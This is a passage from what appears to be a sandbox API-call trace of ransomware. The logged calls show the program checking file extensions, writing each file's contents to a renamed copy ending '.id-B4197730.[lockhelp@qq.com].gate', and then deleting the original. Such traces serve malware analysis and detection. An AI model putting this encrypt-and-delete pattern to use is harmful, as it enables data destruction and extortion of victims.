lpString2=".xml") returned -1 [0113.073] lstrlenW (lpString=".xlsx") returned 5 [0113.074] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0113.074] lstrlenW (lpString=".ppt") returned 4 [0113.074] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0113.074] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0113.074] lstrlenW (lpString=".zip") returned 4 [0113.074] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0113.074] lstrlenW (lpString=".rar") returned 4 [0113.074] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0113.074] lstrlenW (lpString=".bz2") returned 4 [0113.074] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0113.074] lstrlenW (lpString=".7z") returned 3 [0113.074] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0113.074] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0113.074] lstrlenW (lpString=".dbf") returned 4 [0113.074] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0113.074] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0113.074] lstrlenW (lpString=".1cd") returned 4 [0113.074] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0113.074] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0113.074] lstrlenW (lpString=".jpg") returned 4 [0113.074] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0113.074] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0113.074] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0113.075] lstrlenW (lpString=".doc") returned 4 [0113.075] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0113.075] lstrlenW (lpString=".docx") returned 5 [0113.075] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0113.075] lstrlenW (lpString=".pdf") returned 4 [0113.075] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0113.075] lstrlenW (lpString=".xls") returned 4 [0113.075] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0113.075] lstrlenW (lpString=".xlsx") returned 5 [0113.075] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0113.075] lstrlenW (lpString=".ppt") returned 4 [0113.075] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0113.075] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0113.075] lstrlenW (lpString=".zip") returned 4 [0113.075] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0113.075] lstrlenW (lpString=".rar") returned 4 [0113.075] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0113.075] lstrlenW (lpString=".bz2") returned 4 [0113.075] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0113.075] lstrlenW (lpString=".7z") returned 3 [0113.075] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0113.075] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0113.075] lstrlenW (lpString=".dbf") returned 4 [0113.075] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0113.075] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0113.075] lstrlenW (lpString=".1cd") returned 4 [0113.075] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0113.075] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0113.075] lstrlenW (lpString=".jpg") returned 4 [0113.075] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0113.075] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0113.076] lstrlenW (lpString="LocalizedData.xml") returned 17 [0113.076] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0113.086] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=81482) returned 1 [0113.086] CloseHandle (hObject=0x340) returned 1 [0113.086] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml")) returned 0x80 [0113.086] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0113.096] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0113.096] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0113.096] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0113.096] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0113.097] GetLastError () returned 0x0 [0113.098] ReadFile (in: hFile=0x344, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x13e4a, lpOverlapped=0x0) returned 1 [0113.175] WriteFile (in: hFile=0x30c, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0x13e50, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0x13e50, lpOverlapped=0x0) returned 1 [0113.177] ReadFile (in: hFile=0x344, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0113.177] WriteFile (in: hFile=0x30c, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0xf6, lpOverlapped=0x0) returned 1 [0113.177] SetEndOfFile (hFile=0x30c) returned 1 [0113.177] CloseHandle (hObject=0x30c) returned 1 [0113.179] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0113.179] SetEndOfFile (hFile=0x344) returned 1 [0113.180] CloseHandle (hObject=0x344) returned 1 [0113.180] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0113.180] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml")) returned 1 [0113.181] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0113.181] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0113.181] lstrlenW (lpString=".doc") returned 4 [0113.181] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0113.181] lstrlenW (lpString=".docx") returned 5 [0113.181] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0113.181] lstrlenW (lpString=".pdf") returned 4 [0113.181] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0113.181] lstrlenW (lpString=".xls") returned 4 [0113.181] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0113.181] lstrlenW (lpString=".xlsx") returned 5 [0113.181] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0113.181] lstrlenW (lpString=".ppt") returned 4 [0113.181] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0113.181] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0113.181] lstrlenW (lpString=".zip") returned 4 [0113.181] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0113.181] lstrlenW (lpString=".rar") returned 4 [0113.181] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0113.181] lstrlenW (lpString=".bz2") returned 4 [0113.181] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0113.181] lstrlenW (lpString=".7z") returned 3 [0113.181] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0113.181] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0113.181] lstrlenW (lpString=".dbf") returned 4 [0113.181] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0113.181] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0113.181] lstrlenW (lpString=".1cd") returned 4 [0113.181] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0113.182] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0113.182] lstrlenW (lpString=".jpg") returned 4 [0113.182] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0113.182] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0113.182] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0113.182] lstrlenW (lpString=".doc") returned 4 [0113.182] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0113.182] lstrlenW (lpString=".docx") returned 5 [0113.182] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0113.182] lstrlenW (lpString=".pdf") returned 4 [0113.182] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0113.182] lstrlenW (lpString=".xls") returned 4 [0113.182] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0113.182] lstrlenW (lpString=".xlsx") returned 5 [0113.182] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0113.182] lstrlenW (lpString=".ppt") returned 4 [0113.182] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0113.182] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0113.182] lstrlenW (lpString=".zip") returned 4 [0113.182] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0113.182] lstrlenW (lpString=".rar") returned 4 [0113.182] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0113.182] lstrlenW (lpString=".bz2") returned 4 [0113.182] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0113.182] lstrlenW (lpString=".7z") returned 3 [0113.182] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0113.182] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0113.182] lstrlenW (lpString=".dbf") returned 4 [0113.182] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0113.182] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0113.182] lstrlenW (lpString=".1cd") returned 4 [0113.183] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0113.183] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0113.183] lstrlenW (lpString=".jpg") returned 4 [0113.183] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0113.183] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0113.183] lstrlenW (lpString="LocalizedData.xml") returned 17 [0113.183] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0113.285] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=76818) returned 1 [0113.285] CloseHandle (hObject=0x30c) returned 1 [0113.285] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml")) returned 0x80 [0113.285] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0113.285] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0113.285] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0113.285] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0113.285] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0113.286] GetLastError () returned 0x0 [0113.286] ReadFile (in: hFile=0x30c, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x12c12, lpOverlapped=0x0) returned 1 [0113.317] WriteFile (in: hFile=0x314, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0x12c20, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0x12c20, lpOverlapped=0x0) returned 1 [0113.319] ReadFile (in: hFile=0x30c, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0113.319] WriteFile (in: hFile=0x314, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0xf6, lpOverlapped=0x0) returned 1 [0113.319] SetEndOfFile (hFile=0x314) returned 1 [0113.320] CloseHandle (hObject=0x314) returned 1 [0113.322] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0113.322] SetEndOfFile (hFile=0x30c) returned 1 [0113.323] CloseHandle (hObject=0x30c) returned 1 [0113.323] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0113.323] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml")) returned 1 [0113.324] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0113.324] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0113.324] lstrlenW (lpString=".doc") returned 4 [0113.324] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0113.324] lstrlenW (lpString=".docx") returned 5 [0113.324] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0113.324] lstrlenW (lpString=".pdf") returned 4 [0113.324] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0113.324] lstrlenW (lpString=".xls") returned 4 [0113.324] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0113.324] lstrlenW (lpString=".xlsx") returned 5 [0113.324] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0113.324] lstrlenW (lpString=".ppt") returned 4 [0113.324] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0113.324] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0113.324] lstrlenW (lpString=".zip") returned 4 [0113.324] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0113.324] lstrlenW (lpString=".rar") returned 4 [0113.324] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0113.324] lstrlenW (lpString=".bz2") returned 4 [0113.325] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0113.325] lstrlenW (lpString=".7z") returned 3 [0113.325] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0113.325] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0113.325] lstrlenW (lpString=".dbf") returned 4 [0113.325] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0113.325] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0113.325] lstrlenW (lpString=".1cd") returned 4 [0113.325] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0113.325] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0113.325] lstrlenW (lpString=".jpg") returned 4 [0113.325] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0113.325] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0113.325] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0113.325] lstrlenW (lpString=".doc") returned 4 [0113.325] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0113.325] lstrlenW (lpString=".docx") returned 5 [0113.325] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0113.325] lstrlenW (lpString=".pdf") returned 4 [0113.325] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0113.325] lstrlenW (lpString=".xls") returned 4 [0113.325] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0113.325] lstrlenW (lpString=".xlsx") returned 5 [0113.325] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0113.325] lstrlenW (lpString=".ppt") returned 4 [0113.326] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0113.326] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0113.326] lstrlenW (lpString=".zip") returned 4 [0113.326] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0113.326] lstrlenW (lpString=".rar") returned 4 [0113.326] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0113.326] lstrlenW (lpString=".bz2") returned 4 [0113.326] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0113.326] lstrlenW (lpString=".7z") returned 3 [0113.326] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0113.326] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0113.326] lstrlenW (lpString=".dbf") returned 4 [0113.326] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0113.326] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0113.326] lstrlenW (lpString=".1cd") returned 4 [0113.326] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0113.326] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0113.326] lstrlenW (lpString=".jpg") returned 4 [0113.326] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0113.326] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0113.326] lstrlenW (lpString="LocalizedData.xml") returned 17 [0113.326] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0113.327] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=60816) returned 1 [0113.327] CloseHandle (hObject=0x30c) returned 1 [0113.327] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml")) returned 0x80 [0113.327] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0113.327] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0113.327] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0113.327] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0113.327] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0113.331] GetLastError () returned 0x0 [0113.331] ReadFile (in: hFile=0x30c, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0xed90, lpOverlapped=0x0) returned 1 [0113.542] WriteFile (in: hFile=0x314, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0xeda0, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0xeda0, lpOverlapped=0x0) returned 1 [0113.544] ReadFile (in: hFile=0x30c, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0113.544] WriteFile (in: hFile=0x314, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0xf6, lpOverlapped=0x0) returned 1 [0113.544] SetEndOfFile (hFile=0x314) returned 1 [0113.544] CloseHandle (hObject=0x314) returned 1 [0113.547] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0113.547] SetEndOfFile (hFile=0x30c) returned 1 [0113.548] CloseHandle (hObject=0x30c) returned 1 [0113.548] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0113.549] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml")) returned 1 [0113.549] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0113.549] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0113.549] lstrlenW (lpString=".doc") returned 4 [0113.549] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0113.549] lstrlenW (lpString=".docx") returned 5 [0113.549] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0113.549] lstrlenW (lpString=".pdf") returned 4 [0113.549] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0113.549] lstrlenW (lpString=".xls") returned 4 [0113.549] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0113.549] lstrlenW (lpString=".xlsx") returned 5 [0113.549] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0113.549] lstrlenW (lpString=".ppt") returned 4 [0113.549] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0113.549] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0113.549] lstrlenW (lpString=".zip") returned 4 [0113.549] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0113.549] lstrlenW (lpString=".rar") returned 4 [0113.549] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0113.549] lstrlenW (lpString=".bz2") returned 4 [0113.549] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0113.550] lstrlenW (lpString=".7z") returned 3 [0113.550] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0113.550] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0113.550] lstrlenW (lpString=".dbf") returned 4 [0113.550] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0113.550] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0113.550] lstrlenW (lpString=".1cd") returned 4 [0113.550] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0113.550] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0113.550] lstrlenW (lpString=".jpg") returned 4 [0113.550] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0113.550] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0113.550] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0113.550] lstrlenW (lpString=".doc") returned 4 [0113.550] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0113.550] lstrlenW (lpString=".docx") returned 5 [0113.550] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0113.550] lstrlenW (lpString=".pdf") returned 4 [0113.550] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0113.550] lstrlenW (lpString=".xls") returned 4 [0113.550] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0113.550] lstrlenW (lpString=".xlsx") returned 5 [0113.550] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0113.550] lstrlenW (lpString=".ppt") returned 4 [0113.550] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0113.550] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0113.550] lstrlenW (lpString=".zip") returned 4 [0113.550] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0113.551] lstrlenW (lpString=".rar") returned 4 [0113.551] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0113.551] lstrlenW (lpString=".bz2") returned 4 [0113.551] lstrcmpiW 